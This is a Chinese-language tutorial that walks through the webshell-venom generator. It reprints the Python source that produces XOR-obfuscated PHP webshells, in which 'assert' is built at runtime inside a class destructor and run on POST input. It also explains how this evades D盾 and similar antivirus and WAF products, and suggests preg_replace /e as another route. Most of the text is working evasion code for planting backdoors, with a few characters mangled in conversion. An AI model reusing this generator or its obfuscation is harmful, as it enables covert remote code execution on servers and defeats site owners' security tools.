利用随机异或免杀D盾
0x01 前言
此篇文章主要分析学习一下https://github.com/yzddmr6/webshell-venom
这位博主的项目。
0x02 木马样本分析
这个脚本生成的马举例如下:
我们来分析代码。
首先 这里的函数名和类名都是随机生成的。
我们一个函数一个函数分析。
类 BENM
BENM类中有两个自定义函数:NOFR()函数和析构函数__destruct()
NOFR()函数
此函数代码块执行的操作为异或处理得到关键字然后拼接为字符串,并将得到的字符串作为返回值返回,其中参数名也是随机的。
$bdg='%'^"\x44";
$pmj='e'^"\x16";
$kvg='E'^"\x36";
$hmq='='^"\x58";
$btv='$'^"\x56";
$geo='y'^"\xd";
这里异或得到的字符为:assert
然后拼接为变量$SNBT
最后return 拼接的字符。
析构函数 __destruct
函数调用了当前对象的NOFR方法,相当于执行了NOFR函数,然后将返回值赋值给$AZKY变量。
然后$AZKY($this->JM);
括号外是assert括号内是当前对象调用的JM变量。JM变量是什么呢,后面的代码:
将类实例化为对象 :
$benm=new BENM();
判断是否存在GET参数id且不为null,三目运算取其一,因为当id参数不为空时,需要将POST数据base64encode,当不存在GET参数时,则不需要,应该是为了防止某些waf对应用层的数据进行过滤而增加的模块。后面那个不用说了。
无论如何POST接受的数据是主体。接收获取的POST数据赋值给BENM对象的JM属性。
所以联系起来看,首先将类实例化为对象,然后接收参数并赋值到对象的JM方法。对象内包含了两个方法,其中第一个方法为通过异或获取assert关键字,第二个方法为拼接命令并执行,通过魔术方法析构函数调用第一个方法,并在析构方法中获取通过异或函数得到的返回值和传入的数据,也就是对象的JM属性。最后拼接命令。
0x03 轮子分析
既然木马已经做过分析,那么轮子肯定也得学习一下。所以拿过来拆一下。
源代码在博主的github可以下载。
#author: yzddmr6
#github: https://github.com/yzddmr6/webshell-venom/
passwd='mr6'
func = 'assert'
shell = '''<!--?php
class {0}{2}
${1}=new {0}();
@${1}--->mr6test=isset($_GET['id'])?base64_decode($_POST['{3}']):$_POST['{3}'];
?>'''
def random_keys(len):
str = '`~-=!@#$%^&*_/+?[>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join(random.sample(str,len))
def random_name(len):
str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join(random.sample(str,len))
def xor(c1,c2):
return hex(ord(c1)^ord(c2)).replace('0x',r"\x")
def random_payload():
func_line = ''
name_tmp=[]
for i in range(len(func)):
name_tmp.append(random_name(3).lower())
key = random_keys(len(func))
fina=random_name(4)
call = '${0}='.format(fina)
for i in range(0,len(func)):
enc = xor(func[i],key[i])
func_line += "${0}='{1}'^'{2}';".format(name_tmp[i],key[i],enc)
func_line += '\n'
call += '${0}.'.format(name_tmp[i])
func_line = func_line.rstrip('\n')
#print(func_line)
call = call.rstrip('.') + ';'
func_name=random_name(4)
func_tmpl = '''{
function %s(){
%s
%s
return $%s;}''' % (func_name,func_line,call,fina)
func_tmp2='function __destruct(){'+'''
${0}=$this->{1}();
@${0}($this->mr6test);'''.format(random_name(4),func_name)+'}}'
return func_tmpl+func_tmp2
def build_webshell():
className = random_name(4)
objName = className.lower()
payload = random_payload()
shellc = shell.format(className,objName,payload,passwd).replace('mr6test',random_name(2))
return shellc
if __name__ == '__main__':
print (build_webshell())
我们一块一块拆开分析:
调用模块
首先调用random模块:该模块用于生成随机数
定义常量
func = 'assert'
shell = '''<?php
class {0}{2}
${1}=new {0}();
@${1}->mr6test=isset($_GET['id'])?base64_decode($_POST['{3}']):$_POST['{3}'];
?>'''
这里定义了POST参数的连接密码passwd变量、assert关键字 func变量和脚本框架shell变量。其中shell变量使用三引号包裹,即表示多行字符串,而不需要使用换行符,便于输出美观的代码。其中使用占位符{0}{1}{2}{3}将需要变化的代码块占位,等待最后拼接。
random_keys()函数
str = '`~-=!@#$%^&*_/+?[{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join(random.sample(str,len))
此函数在整个脚本中出现过两次,第一次是定义函数,第二次是在下面的函数random_payload中。此函数规定接收一个参数len。函数体代码块定义了由所有可显字符组成的字符串 变量str。然后经过random模块的sample方法随机从str参数中取出len长度的字符串。
该函数用于异或操作和部分变量名获取随机字符。
sample方法:
sample(str,len),从str中随机取出len个字符。示例如下
random_name()函数
str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join(random.sample(str,len))
该函数与random_keys()函数类似,接收一个参数len,用于取随机字符串,且str参数只包含大写字母,这也是一个特征,生成的文件内全大写的参数就是由这个函数生成的。
xor()函数
return hex(ord(c1)^ord(c2)).replace('0x',r"\x")
xor()函数接收两个参数:c1和c2
首先执行ord()函数将字符转化为ASCII码,然后将c1和c2的ASCII码异或运算^。然后将运算结果转化为hex,也就是16进制,最后将转化后的字符进行正则处理,将
random_payload()函数
func_line = ''
name_tmp=[]
for i in range(len(func)):
name_tmp.append(random_name(3).lower())
key = random_keys(len(func))
fina=random_name(4)
call = '${0}='.format(fina)
for i in range(0,len(func)):
enc = xor(func[i],key[i])
func_line += "${0}='{1}'^"{2}";".format(name_tmp[i],key[i],enc)
func_line += '\n'
call += '${0}.'.format(name_tmp[i])
func_line = func_line.rstrip('\n')
#print(func_line)
call = call.rstrip('.') + ';'
func_name=random_name(4)
func_tmpl = '''{
function %s(){
%s
%s
return $%s;}''' % (func_name,func_line,call,fina)
func_tmp2='function __destruct(){'+'''
${0}=$this->;{1}();
@${0}($this->;mr6test);'''.format(random_name(4),func_name)+'}}'
return func_tmpl+func_tmp2
我们逐句分析:
首先定义空的变量func_line用于承载数据。
然后定义空列表name_tmp
接下来是一个循环,循环数组为func的长度也就是6,循环6次,因为assert长度为6。
循环内的代码为
append()方法用于在列表name_tmp最后(末尾)添加一个元素object,添加什么呢,这里调用了random_name()方法,参数为3,也就是在A-Z随机选三位且不重复,后面又调用了lower()方法,此方法将random_name(3)获取到的字符由大写转换为小写。这一步是生成了assert六个变量的变量名,并存储到name_tmp列表。
下一步
也就是将func变量的长度6传到函数random_keys()执行,返回的结果赋值到变量key。这里取出来的是需要异或处理的左半边字符。
继续跟进
向函数random_name()传参4,返回结果并赋值给变量fina。这里得到的是拼接所有字符串的变量,也就是上面例子中的返回值$SNBT。
这一句则是使用格式化字符串函数format()将生成的变量名拼接为一个php变量 也就是$变量名=,{0}是预设的第一个占位符。此时已经有了值。
继续跟进
又是一个循环
enc = xor(func[i],key[i])
func_line += "${0}='{1}'^"{2}";".format(name_tmp[i],key[i],enc)
func_line += '\n'
call += '${0}.'.format(name_tmp[i])
这里从0开始到6结束,循环6次
循环内的代码块:
首先将func列表中的字符与上面得到的key列表中的字符进行逐个异或处理,并赋值给enc变量。
此时enc列表中存储的是func列表和key列表异或后的字符。
继续跟进,是一个拼接字符串的过程,占位符0、1、2代表的分别是name_tmp列表、key列表、enc的值。分别存储着关键字的六个变量名、随机的六个等待异或的字符、已经与assert和key列表内随机字符异或一次得到的hex。然后拼接出了异或模块的六个变量和值并赋值到func_line。每一次循环增加一个换行。
最后一句拼接六个变量的累加。
这一句可有可无了,就是删除末尾的换行,使代码更美观紧凑。
去除call字符串最后一个点并加分号。
随机取4为大写字母并赋值给func_name,这个变量为木马第一个函数的函数名。
function %s(){
%s
%s
return $%s;}''' % (func_name,func_line,call,fina)
func_tmp2='function __destruct(){'+'''
${0}=$this->;;{1}();
@${0}($this->;;mr6test);'''.format(random_name(4),func_name)+'}}'
这一段同样是拼接payload,使用四个格式化字符串占位符,分别为func_name(第一个函数函数名)、func_line(异或模块的六个变量和值 )、call(六个异或变量字符串拼接的变量和值)、fina(函数的返回值)。这是第一个函数,拼接完毕赋值给func_tmp1。
下面的func_tmp2同理,也是将随机四位大写字母(也就是第二个函数中的调用第一个函数的变量名)写入占位符{0}。将第一个函数的函数名写入占位符{1}。最后赋值给func_tmp2。
将两个拼接好的函数作为返回值返回。
build_webshell()函数
className = random_name(4)
objName = className.lower()
payload = random_payload()
shellc = shell.format(className,objName,payload,passwd).replace('mr6test',random_name(2))
return shellc
第一句获取随机的类名,第二句获取随机的对象名并将所有的大写字符转化为小写。第三句调用函数random_payload(),函数会执行并将返回值赋值到payload变量,现在payload变量中便是两个函数。
第四句对shell变量进行拼接,shell是最开始设置的脚本框架,其四个占位符{0}{1}{2}{3}分别对应classname(类名)、objName(对象名)、payload(类中的两个函数)、passwd(POST参数名)。
最后使用正则将关键字mr6test替换为两位随机大写字母,也就是将接收数据的调用名随机化。
最后返回构建好的shell
最后使用模块私有化输出payload。
0x04 杀软缺陷
杀软毕竟是机器,做不到像人一样灵活,PHP是一门灵活的语言,正是因为如此php免杀的马从来没有断过。
不光光是D盾,包括某里云 某锁 某狗 某塔最明显的缺点便是不够灵活。比如异或,将payload放入类操作、使用析构函数等等,它都无力识别。
0x05 利用缺陷
混淆+类包裹+析构函数+随机参数名。这是博主使用的方法,同时也是目前来说最好的方法。
其实还有更好的方法,便是利用preg_replace 的/e修饰符,具体原因是当以/e修饰符时,将会把需要替换的字符串也就是第二个参数以eval函数执行。
但是这个设定在PHP5.5.0后已经弃用,比如我的vps是PHP7,就不能正常工作。
随着越来越多的危险函数被弃用,绕过已经越来越倾向混淆了,所以以后混淆肯定是过杀软的主要方法。
0x06 结语
以上依然只能适用于php7.1之前的版本。如果有一天强制国内服务器php版本升级,那该怎么办呢???